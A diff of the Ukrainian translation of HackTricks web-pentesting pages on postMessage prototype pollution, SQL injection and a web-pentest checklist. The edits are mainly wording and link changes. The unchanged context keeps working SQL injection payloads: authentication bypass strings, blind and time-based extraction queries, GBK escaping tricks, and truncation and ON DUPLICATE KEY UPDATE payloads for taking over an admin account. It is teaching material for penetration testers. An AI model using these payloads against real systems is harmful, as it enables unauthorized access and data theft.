{{#ref}}
|
||||
steal-postmessage-modifying-iframe-location.md
|
||||
{{#endref}}
|
||||
|
||||
### postMessage до забруднення прототипу та/або XSS
|
||||
### postMessage до Prototype Pollution та/або XSS
|
||||
|
||||
У сценаріях, де дані, надіслані через `postMessage`, виконуються JS, ви можете **вставити** **сторінку** і **використати** **забруднення прототипу/XSS**, надіславши експлойт через `postMessage`.
|
||||
У сценаріях, де дані, надіслані через `postMessage`, виконуються JS, ви можете **вставити** **сторінку** і **використати** **прототипне забруднення/XSS**, надіславши експлойт через `postMessage`.
|
||||
|
||||
Кілька **дуже добре пояснених XSS через `postMessage`** можна знайти в [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
Кілька **дуже добре пояснених XSS через `postMessage`** можна знайти за посиланням [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html)
|
||||
|
||||
Приклад експлойту для зловживання **забрудненням прототипу, а потім XSS** через `postMessage` до `iframe`:
|
||||
Приклад експлойту для зловживання **Prototype Pollution, а потім XSS** через `postMessage` до `iframe`:
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
@ -214,8 +214,8 @@ setTimeout(get_code, 2000)
|
||||
```
|
||||
Для **додаткової інформації**:
|
||||
|
||||
- Посилання на сторінку про [**забруднення прототипу**](../deserialization/nodejs-proto-prototype-pollution/)
|
||||
- Посилання на сторінку про [**XSS**](../xss-cross-site-scripting/)
|
||||
- Посилання на сторінку про [**забруднення прототипу**](../deserialization/nodejs-proto-prototype-pollution/index.html)
|
||||
- Посилання на сторінку про [**XSS**](../xss-cross-site-scripting/index.html)
|
||||
- Посилання на сторінку про [**забруднення прототипу на стороні клієнта до XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
|
||||
## Посилання
|
||||
|
@ -4,11 +4,11 @@
|
||||
|
||||
## Що таке SQL-ін'єкція?
|
||||
|
||||
**SQL-ін'єкція** - це вразливість безпеки, яка дозволяє зловмисникам **втручатися в запити до бази даних** додатку. Ця вразливість може дозволити зловмисникам **переглядати**, **модифікувати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ додаток. Такі дії можуть призвести до постійних змін у функціональності або контенті додатку, або навіть до компрометації сервера чи відмови в обслуговуванні.
|
||||
**SQL-ін'єкція** — це вразливість безпеки, яка дозволяє зловмисникам **втручатися в запити до бази даних** додатку. Ця вразливість може дозволити зловмисникам **переглядати**, **модифікувати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ додаток. Такі дії можуть призвести до постійних змін у функціональності або змісті додатку, або навіть до компрометації сервера чи відмови в обслуговуванні.
|
||||
|
||||
## Виявлення точок входу
|
||||
|
||||
Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на запити, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит, не порушуючи його**. Це вимагає визначення методу, щоб **ефективно вийти з поточного контексту**. Ось кілька корисних прикладів:
|
||||
Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на введення, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит, не порушуючи його**. Це вимагає визначення методу, щоб **ефективно вийти з поточного контексту**. Ось кілька корисних прикладів:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -51,9 +51,9 @@ SQLite
|
||||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### Підтвердження за допомогою логічних операцій
|
||||
### Підтвердження логічними операціями
|
||||
|
||||
Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, який дає ідентичний контент при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій.
|
||||
Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, який дає однаковий вміст при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій.
|
||||
|
||||
Аналогічно, застосування **математичних операцій** є ефективною технікою підтвердження. Наприклад, якщо доступ до `?id=1` та `?id=2-1` дає той самий результат, це вказує на SQL-ін'єкцію.
|
||||
|
||||
@ -93,7 +93,7 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
В деяких випадках **функції затримки не будуть дозволені**. Тоді, замість використання цих функцій, ви можете зробити запит, який **виконує складні операції**, що займатимуть кілька секунд. _Приклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є)_.
|
||||
В деяких випадках **функції затримки не будуть дозволені**. Тоді, замість використання цих функцій, ви можете зробити запит, щоб **виконати складні операції**, які займатимуть кілька секунд. _Приклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є)_.
|
||||
|
||||
### Визначення бекенду
|
||||
|
||||
@ -189,24 +189,24 @@ _Існує різний спосіб виявлення цих даних у к
|
||||
|
||||
## Використання прихованого об'єднання
|
||||
|
||||
Коли вихід запиту видимий, але об'єднаний ін'єкційний запит здається недосяжним, це свідчить про наявність **прихованої об'єднаної ін'єкції**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на об'єднану, потрібно визначити запит виконання на бекенді.
|
||||
Коли вихід запиту видимий, але об'єднаний ін'єкцію здається недосяжною, це свідчить про наявність **прихованої об'єднаної ін'єкції**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на об'єднану, потрібно визначити запит виконання на бекенді.
|
||||
|
||||
Це можна зробити за допомогою технік сліпої ін'єкції разом з таблицями за замовчуванням, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих таблиць за замовчуванням рекомендується звернутися до документації цільової DBMS.
|
||||
Це можна зробити за допомогою технік сліпої ін'єкції разом з таблицями за замовчуванням, специфічними для вашої цільової системи управління базами даних (DBMS). Для розуміння цих таблиць за замовчуванням рекомендується звернутися до документації цільового DBMS.
|
||||
|
||||
Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Після цього до вашого payload додається об'єднаний запит, що полегшує використання ново доступної об'єднаної ін'єкції.
|
||||
Після того, як запит буде витягнуто, необхідно налаштувати ваш payload, щоб безпечно закрити оригінальний запит. Потім до вашого payload додається об'єднаний запит, що полегшує експлуатацію ново доступної об'єднаної ін'єкції.
|
||||
|
||||
Для більш детальної інформації зверніться до повної статті, доступної за посиланням [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f).
|
||||
|
||||
## Використання на основі помилок
|
||||
|
||||
Якщо з якоїсь причини ви **не можете** бачити **вихід** **запиту**, але можете **бачити повідомлення про помилки**, ви можете використовувати ці повідомлення про помилки для **екстракції** даних з бази даних.\
|
||||
Слідуючи подібному процесу, як у випадку з об'єднаним використанням, ви можете вивантажити базу даних.
|
||||
Слідуючи подібному потоку, як у випадку з експлуатацією на основі об'єднання, ви можете змогти скинути базу даних.
|
||||
```sql
|
||||
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
|
||||
```
|
||||
## Використання сліпого SQLi
|
||||
|
||||
У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете **відрізнити**, коли запит **повертає** **істинне** або **хибне** значення, оскільки на сторінці є різний вміст.\
|
||||
У цьому випадку ви не можете бачити результати запиту або помилки, але ви можете **відрізнити**, коли запит **повертає** **істинний** або **хибний** відповідь, оскільки на сторінці є різний вміст.\
|
||||
У цьому випадку ви можете зловживати цією поведінкою, щоб вивантажити базу даних символ за символом:
|
||||
```sql
|
||||
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
|
||||
@ -219,13 +219,13 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
|
||||
```
|
||||
## Використання Time Based SQLi
|
||||
|
||||
У цьому випадку **немає** жодного способу **відрізнити** **відповідь** запиту на основі контексту сторінки. Але ви можете змусити сторінку **завантажуватися довше**, якщо вгаданий символ правильний. Ми вже бачили цю техніку раніше для [підтвердження SQLi вразливості](#confirming-with-timing).
|
||||
У цьому випадку **немає** жодного способу **відрізнити** **відповідь** запиту на основі контексту сторінки. Але ви можете змусити сторінку **завантажуватися довше**, якщо вгаданий символ правильний. Ми вже бачили цю техніку в дії раніше, щоб [підтвердити вразливість SQLi](#confirming-with-timing).
|
||||
```sql
|
||||
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
|
||||
```
|
||||
## Stacked Queries
|
||||
|
||||
Ви можете використовувати stacked queries для **виконання кількох запитів підряд**. Зверніть увагу, що хоча наступні запити виконуються, **результати** **не повертаються в додаток**. Отже, ця техніка в основному корисна у зв'язку з **сліпими вразливостями**, де ви можете використовувати другий запит для ініціювання DNS-запиту, умовної помилки або затримки часу.
|
||||
Ви можете використовувати stacked queries для **виконання кількох запитів підряд**. Зверніть увагу, що хоча наступні запити виконуються, **результати** **не повертаються в додаток**. Отже, ця техніка в основному корисна у зв'язку з **сліпими вразливостями**, де ви можете використовувати другий запит для виклику DNS-запиту, умовної помилки або затримки часу.
|
||||
|
||||
**Oracle** не підтримує **stacked queries.** **MySQL, Microsoft** та **PostgreSQL** їх підтримують: `QUERY-1-HERE; QUERY-2-HERE`
|
||||
|
||||
@ -241,7 +241,7 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
```
|
||||
## Автоматизоване використання
|
||||
|
||||
Перевірте [SQLMap Cheatsheet](sqlmap/) для експлуатації вразливості SQLi за допомогою [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
Перевірте [SQLMap Cheatsheet](sqlmap/index.html) для експлуатації вразливості SQLi за допомогою [**sqlmap**](https://github.com/sqlmapproject/sqlmap).
|
||||
|
||||
## Технічна специфічна інформація
|
||||
|
||||
@ -249,9 +249,9 @@ a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DO
|
||||
|
||||
- [MS Access](ms-access-sql-injection.md)
|
||||
- [MSSQL](mssql-injection.md)
|
||||
- [MySQL](mysql-injection/)
|
||||
- [MySQL](mysql-injection/index.html)
|
||||
- [Oracle](oracle-injection.md)
|
||||
- [PostgreSQL](postgresql-injection/)
|
||||
- [PostgreSQL](postgresql-injection/index.html)
|
||||
|
||||
Або ви знайдете **багато трюків щодо: MySQL, PostgreSQL, Oracle, MSSQL, SQLite та HQL у** [**https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection**](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection)
|
||||
|
||||
@ -278,14 +278,14 @@ admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
|
||||
```
|
||||
**Рекомендований список**:
|
||||
|
||||
Ви повинні використовувати як ім'я користувача кожен рядок списку, а як пароль завжди: _**Pass1234.**_\
|
||||
&#xNAN;_(Ці payloads також включені у великий список, згаданий на початку цього розділу)_
|
||||
Вам слід використовувати як ім'я користувача кожен рядок списку, а як пароль завжди: _**Pass1234.**_\
|
||||
&#xNAN;_(Ці payload також включені у великий список, згаданий на початку цього розділу)_
|
||||
|
||||
{% file src="../../images/sqli-hashbypass.txt" %}
|
||||
|
||||
### GBK обходи аутентифікації
|
||||
### GBK Аутентифікація обхід
|
||||
|
||||
Якщо ' екранується, ви можете використовувати %A8%27, а коли ' екранується, буде створено: 0xA80x5c0x27 (_╘'_)
|
||||
Якщо ' екранується, ви можете використовувати %A8%27, а коли ' буде екрановано, буде створено: 0xA80x5c0x27 (_╘'_)
|
||||
```sql
|
||||
%A8%27 OR 1=1;-- 2
|
||||
%8C%A8%27 OR 1=1-- 2
|
||||
@ -318,7 +318,7 @@ SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
|
||||
|
||||
Якщо база даних вразлива, а максимальна кількість символів для імені користувача, наприклад, 30, і ви хочете видати себе за користувача **admin**, спробуйте створити ім'я користувача: "_admin \[30 пробілів] a_" і будь-який пароль.
|
||||
|
||||
База даних **перевірить**, чи введене **ім'я користувача** **існує** в базі даних. Якщо **ні**, вона **обрізає** **ім'я користувача** до **максимально дозволеної кількості символів** (в цьому випадку до: "_admin \[25 пробілів]_") і потім **автоматично видалить всі пробіли в кінці, оновлюючи** в базі даних користувача "**admin**" з **новим паролем** (може з'явитися деяка помилка, але це не означає, що це не спрацювало).
|
||||
База даних **перевірить**, чи введене **ім'я користувача** **існує** в базі даних. Якщо **ні**, вона **обрізає** **ім'я користувача** до **максимально допустимої кількості символів** (в цьому випадку до: "_admin \[25 пробілів]_") і потім **автоматично видалить всі пробіли в кінці, оновлюючи** в базі даних користувача "**admin**" з **новим паролем** (може з'явитися деяка помилка, але це не означає, що це не спрацювало).
|
||||
|
||||
Більше інформації: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref)
|
||||
|
||||
@ -332,25 +332,25 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
|
||||
```
|
||||
### ON DUPLICATE KEY UPDATE
|
||||
|
||||
Клаузула `ON DUPLICATE KEY UPDATE` в MySQL використовується для визначення дій, які база даних повинна виконати, коли намагаються вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна експлуатувати для зміни пароля облікового запису адміністратора:
|
||||
Клаузула `ON DUPLICATE KEY UPDATE` в MySQL використовується для визначення дій, які база даних повинна виконати, коли робиться спроба вставити рядок, що призведе до дублювання значення в унікальному індексі або первинному ключі. Наступний приклад демонструє, як цю функцію можна експлуатувати для зміни пароля облікового запису адміністратора:
|
||||
|
||||
Example Payload Injection:
|
||||
|
||||
Вантаж для ін'єкції може бути створений наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок є приманкою, а другий рядок націлений на існуючу електронну пошту адміністратора з наміром оновити пароль:
|
||||
Вантаж ін'єкції може бути створений наступним чином, де намагаються вставити два рядки в таблицю `users`. Перший рядок є приманкою, а другий рядок націлений на існуючу електронну пошту адміністратора з наміром оновити пароль:
|
||||
```sql
|
||||
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
|
||||
```
|
||||
Ось як це працює:
|
||||
|
||||
- Запит намагається вставити два рядки: один для `generic_user@example.com` і інший для `admin_generic@example.com`.
|
||||
- Якщо рядок для `admin_generic@example.com` вже існує, клаузула `ON DUPLICATE KEY UPDATE` спрацьовує, інструктуючи MySQL оновити поле `password` існуючого рядка на "bcrypt_hash_of_newpassword".
|
||||
- Якщо рядок для `admin_generic@example.com` вже існує, спрацьовує клаузула `ON DUPLICATE KEY UPDATE`, яка інструктує MySQL оновити поле `password` існуючого рядка на "bcrypt_hash_of_newpassword".
|
||||
- Відповідно, аутентифікацію можна спробувати виконати, використовуючи `admin_generic@example.com` з паролем, що відповідає bcrypt хешу ("bcrypt_hash_of_newpassword" представляє bcrypt хеш нового пароля, який слід замінити на фактичний хеш бажаного пароля).
|
||||
|
||||
### Витяг інформації
|
||||
|
||||
#### Створення 2 облікових записів одночасно
|
||||
|
||||
Коли намагаєтеся створити нового користувача, потрібні ім'я користувача, пароль та електронна пошта:
|
||||
При спробі створити нового користувача потрібні ім'я користувача, пароль та електронна пошта:
|
||||
```
|
||||
SQLi payload:
|
||||
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
|
||||
@ -418,7 +418,7 @@ LIMIT 0,1 -> LIMIT 1 OFFSET 0
|
||||
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
|
||||
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
|
||||
```
|
||||
### Загальні обхідні методи
|
||||
### Generic Bypasses
|
||||
|
||||
Чорний список за допомогою ключових слів - обхід за допомогою великих/малих літер
|
||||
```sql
|
||||
|
@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
У кожному веб-пентесті є **кілька прихованих і очевидних місць, які можуть бути вразливими**. Ця стаття призначена для того, щоб бути контрольним списком, щоб підтвердити, що ви шукали уразливості в усіх можливих місцях.
|
||||
У кожному веб-пентесті є **кілька прихованих і очевидних місць, які можуть бути вразливими**. Ця стаття призначена як контрольний список, щоб підтвердити, що ви перевірили всі можливі місця на наявність уразливостей.
|
||||
|
||||
## Проксі
|
||||
|
||||
> [!NOTE]
|
||||
> Сьогодні **веб** **додатки** зазвичай **використовують** якийсь вид **проміжних** **проксі**, які можуть бути (зловжито) використані для експлуатації уразливостей. Ці уразливості потребують наявності вразливого проксі, але зазвичай також потребують додаткової уразливості на бекенді.
|
||||
> Сьогодні **веб** **додатки** зазвичай **використовують** якийсь вид **проміжних** **проксі**, які можуть бути (зловжиті) для експлуатації уразливостей. Ці уразливості потребують наявності вразливого проксі, але зазвичай також потребують додаткової уразливості на бекенді.
|
||||
|
||||
- [ ] [**Зловживання заголовками hop-by-hop**](abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Отруєння кешу/Обман кешу**](cache-deception/)
|
||||
- [ ] [**Отруєння кешу/Обман кешу**](cache-deception/index.html)
|
||||
- [ ] [**HTTP Request Smuggling**](http-request-smuggling/)
|
||||
- [ ] [**H2C Smuggling**](h2c-smuggling.md)
|
||||
- [ ] [**Серверне включення/Включення на краю**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
@ -22,29 +22,29 @@
|
||||
|
||||
> [!NOTE]
|
||||
> Більшість веб-додатків **дозволяють користувачам вводити деякі дані, які будуть оброблені пізніше.**\
|
||||
> Залежно від структури даних, які сервер очікує, деякі уразливості можуть або не можуть застосовуватися.
|
||||
> Залежно від структури даних, які очікує сервер, деякі уразливості можуть або не можуть застосовуватися.
|
||||
|
||||
### **Відображені значення**
|
||||
|
||||
Якщо введені дані можуть бути якимось чином відображені у відповіді, сторінка може бути вразливою до кількох проблем.
|
||||
Якщо введені дані можуть бути відображені у відповіді, сторінка може бути вразливою до кількох проблем.
|
||||
|
||||
- [ ] [**Введення шаблону на стороні клієнта**](client-side-template-injection-csti.md)
|
||||
- [ ] [**Введення команд**](command-injection.md)
|
||||
- [ ] [**CRLF**](crlf-0d-0a.md)
|
||||
- [ ] [**Залишковий розмітка**](dangling-markup-html-scriptless-injection/)
|
||||
- [ ] [**Включення файлів/Перехід по шляху**](file-inclusion/)
|
||||
- [ ] [**Залишковий розмітка**](dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**Включення файлів/Перехід по шляху**](file-inclusion/index.html)
|
||||
- [ ] [**Відкритий редирект**](open-redirect.md)
|
||||
- [ ] [**Забруднення прототипу до XSS**](deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Серверне включення/Включення на краю**](server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Серверне підроблення запитів**](ssrf-server-side-request-forgery/)
|
||||
- [ ] [**Серверне введення шаблону**](ssti-server-side-template-injection/)
|
||||
- [ ] [**Зворотне таб-навбінг**](reverse-tab-nabbing.md)
|
||||
- [ ] [**Серверне підроблення запитів**](ssrf-server-side-request-forgery/index.html)
|
||||
- [ ] [**Введення шаблону на стороні сервера**](ssti-server-side-template-injection/index.html)
|
||||
- [ ] [**Зворотне таб-навчання**](reverse-tab-nabbing.md)
|
||||
- [ ] [**XSLT Серверне включення**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSS**](xss-cross-site-scripting/)
|
||||
- [ ] [**XSS**](xss-cross-site-scripting/index.html)
|
||||
- [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
|
||||
- [ ] [**XS-Search**](xs-search/)
|
||||
- [ ] [**XS-Search**](xs-search/index.html)
|
||||
|
||||
Деякі з вказаних уразливостей вимагають спеціальних умов, інші просто вимагають, щоб вміст був відображений. Ви можете знайти деякі цікаві поліглоти для швидкого тестування уразливостей у:
|
||||
Деякі з вказаних уразливостей потребують спеціальних умов, інші просто вимагають, щоб вміст був відображений. Ви можете знайти деякі цікаві поліглоти для швидкого тестування уразливостей у:
|
||||
|
||||
{{#ref}}
|
||||
pocs-and-polygloths-cheatsheet/
|
||||
@ -52,13 +52,13 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
### **Функції пошуку**
|
||||
|
||||
Якщо функціональність може бути використана для пошуку деяких даних на бекенді, можливо, ви зможете (зловжити) нею для пошуку довільних даних.
|
||||
Якщо функція може бути використана для пошуку якихось даних на бекенді, можливо, ви зможете (зловжити) нею для пошуку довільних даних.
|
||||
|
||||
- [ ] [**Включення файлів/Перехід по шляху**](file-inclusion/)
|
||||
- [ ] [**Включення файлів/Перехід по шляху**](file-inclusion/index.html)
|
||||
- [ ] [**NoSQL Введення**](nosql-injection.md)
|
||||
- [ ] [**LDAP Введення**](ldap-injection.md)
|
||||
- [ ] [**ReDoS**](regular-expression-denial-of-service-redos.md)
|
||||
- [ ] [**SQL Введення**](sql-injection/)
|
||||
- [ ] [**SQL Введення**](sql-injection/index.html)
|
||||
- [ ] [**XPATH Введення**](xpath-injection.md)
|
||||
|
||||
### **Форми, WebSockets та PostMsgs**
|
||||
@ -67,15 +67,15 @@ pocs-and-polygloths-cheatsheet/
|
||||
|
||||
- [ ] [**Cross Site Request Forgery**](csrf-cross-site-request-forgery.md)
|
||||
- [ ] [**Перехоплення WebSocket (CSWSH)**](websocket-attacks.md)
|
||||
- [ ] [**Уразливості PostMessage**](postmessage-vulnerabilities/)
|
||||
- [ ] [**Уразливості PostMessage**](postmessage-vulnerabilities/index.html)
|
||||
|
||||
### **HTTP Заголовки**
|
||||
|
||||
Залежно від HTTP заголовків, наданих веб-сервером, можуть бути присутніми деякі уразливості.
|
||||
|
||||
- [ ] [**Clickjacking**](clickjacking.md)
|
||||
- [ ] [**Обхід політики безпеки вмісту**](content-security-policy-csp-bypass/)
|
||||
- [ ] [**Злом Cookies**](hacking-with-cookies/)
|
||||
- [ ] [**Обхід політики безпеки вмісту**](content-security-policy-csp-bypass/index.html)
|
||||
- [ ] [**Злом Cookies**](hacking-with-cookies/index.html)
|
||||
- [ ] [**CORS - Неправильні налаштування та обхід**](cors-bypass.md)
|
||||
|
||||
### **Обходи**
|
||||
@ -85,7 +85,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
- [ ] [**Обхід 2FA/OTP**](2fa-bypass.md)
|
||||
- [ ] [**Обхід процесу оплати**](bypass-payment-process.md)
|
||||
- [ ] [**Обхід Captcha**](captcha-bypass.md)
|
||||
- [ ] [**Обхід входу**](login-bypass/)
|
||||
- [ ] [**Обхід входу**](login-bypass/index.html)
|
||||
- [ ] [**Умова гонки**](race-condition.md)
|
||||
- [ ] [**Обхід обмеження швидкості**](rate-limit-bypass.md)
|
||||
- [ ] [**Обхід скидання забутого пароля**](reset-password.md)
|
||||
@ -96,7 +96,7 @@ pocs-and-polygloths-cheatsheet/
|
||||
Деякі функції вимагатимуть, щоб **дані були структуровані в дуже специфічному форматі** (наприклад, об'єкт, серіалізований мовою або XML). Тому легше визначити, чи може додаток бути вразливим, оскільки він повинен обробляти такі дані.\
|
||||
Деякі **специфічні функції** також можуть бути вразливими, якщо використовується **специфічний формат введення** (наприклад, Введення заголовків електронної пошти).
|
||||
|
||||
- [ ] [**Десеріалізація**](deserialization/)
|
||||
- [ ] [**Десеріалізація**](deserialization/index.html)
|
||||
- [ ] [**Введення заголовка електронної пошти**](email-injections.md)
|
||||
- [ ] [**Уразливості JWT**](hacking-jwt-json-web-tokens.md)
|
||||
- [ ] [**XML Зовнішня сутність**](xxe-xee-xml-external-entity.md)
|
||||
@ -107,15 +107,15 @@ pocs-and-polygloths-cheatsheet/
|
||||
Функції, які генерують файли, включаючи введення користувача, можуть виконувати непередбачений код.\
|
||||
Користувачі, які відкривають файли, завантажені користувачами або автоматично згенеровані, включаючи введення користувача, можуть бути скомпрометовані.
|
||||
|
||||
- [ ] [**Завантаження файлів**](file-upload/)
|
||||
- [ ] [**Завантаження файлів**](file-upload/index.html)
|
||||
- [ ] [**Введення формули**](formula-csv-doc-latex-ghostscript-injection.md)
|
||||
- [ ] [**Введення PDF**](xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**PDF Введення**](xss-cross-site-scripting/pdf-injection.md)
|
||||
- [ ] [**Серверний XSS**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)
|
||||
|
||||
### **Зовнішнє управління ідентичністю**
|
||||
|
||||
- [ ] [**OAUTH до захоплення облікового запису**](oauth-to-account-takeover.md)
|
||||
- [ ] [**Атаки SAML**](saml-attacks/)
|
||||
- [ ] [**Атаки SAML**](saml-attacks/index.html)
|
||||
|
||||
### **Інші корисні уразливості**
|
||||
|
||||
@ -124,6 +124,6 @@ pocs-and-polygloths-cheatsheet/
|
||||
- [ ] [**Захоплення домену/піддомену**](domain-subdomain-takeover.md)
|
||||
- [ ] [**IDOR**](idor.md)
|
||||
- [ ] [**Забруднення параметрів**](parameter-pollution.md)
|
||||
- [ ] [**Уразливість нормалізації Unicode**](unicode-injection/)
|
||||
- [ ] [**Уразливість нормалізації Unicode**](unicode-injection/index.html)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,20 +2,20 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
У кожному веб-пентесті є **кілька прихованих і очевидних місць, які можуть бути вразливими**. Ця стаття призначена як контрольний список, щоб підтвердити, що ви перевірили всі можливі місця на наявність уразливостей.
|
||||
У кожному веб-пентесті є **кілька прихованих і очевидних місць, які можуть бути вразливими**. Ця стаття призначена як контрольний список, щоб підтвердити, що ви перевірили наявність уразливостей у всіх можливих місцях.
|
||||
|
||||
## Проксі
|
||||
|
||||
> [!NOTE]
|
||||
> Сьогодні **веб** **додатки** зазвичай **використовують** якийсь вид **проміжних** **проксі**, які можуть бути (зловжито) використані для експлуатації уразливостей. Ці уразливості потребують наявності вразливого проксі, але зазвичай також потребують додаткової уразливості на бекенді.
|
||||
> Сьогодні **веб** **додатки** зазвичай **використовують** якийсь вид **проміжних** **проксі**, які можуть бути (зловжиті) для експлуатації уразливостей. Ці уразливості потребують наявності вразливого проксі, але зазвичай також потребують додаткової уразливості на бекенді.
|
||||
|
||||
- [ ] [**Зловживання заголовками hop-by-hop**](../abusing-hop-by-hop-headers.md)
|
||||
- [ ] [**Отруєння кешу/Обман кешу**](../cache-deception.md)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/)
|
||||
- [ ] [**HTTP Request Smuggling**](../http-request-smuggling/index.html)
|
||||
- [ ] [**H2C Smuggling**](../h2c-smuggling.md)
|
||||
- [ ] [**Серверна інклюзія/Інклюзія на краю**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Серверне включення/Включення на краю**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
- [ ] [**Викриття Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
- [ ] [**XSLT Серверна ін'єкція**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**XSLT Серверне включення**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
|
||||
- [ ] [**Обхід захисту проксі / WAF**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **Введення користувача**
|
||||
@ -28,19 +28,19 @@
|
||||
|
||||
Якщо введені дані можуть бути якимось чином відображені у відповіді, сторінка може бути вразливою до кількох проблем.
|
||||
|
||||
- [ ] [**Ін'єкція шаблонів на стороні клієнта**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Ін'єкція команд**](../command-injection.md)
|
||||
- [ ] [**Введення шаблону на стороні клієнта**](../client-side-template-injection-csti.md)
|
||||
- [ ] [**Введення команд**](../command-injection.md)
|
||||
- [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
- [ ] [**Залишковий розмітка**](../dangling-markup-html-scriptless-injection/)
|
||||
- [ ] [**Інклюзія файлів/Перехід по шляху**](../file-inclusion/)
|
||||
- [ ] [**Залишковий розмітка**](../dangling-markup-html-scriptless-injection/index.html)
|
||||
- [ ] [**Включення файлів/Перехід по шляху**](../file-inclusion/index.html)
|
||||
- [ ] [**Відкритий редирект**](../open-redirect.md)
|
||||
- [ ] [**Забруднення прототипу до XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
|
||||
- [ ] [**Серверна інклюзія/Інклюзія на краю**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
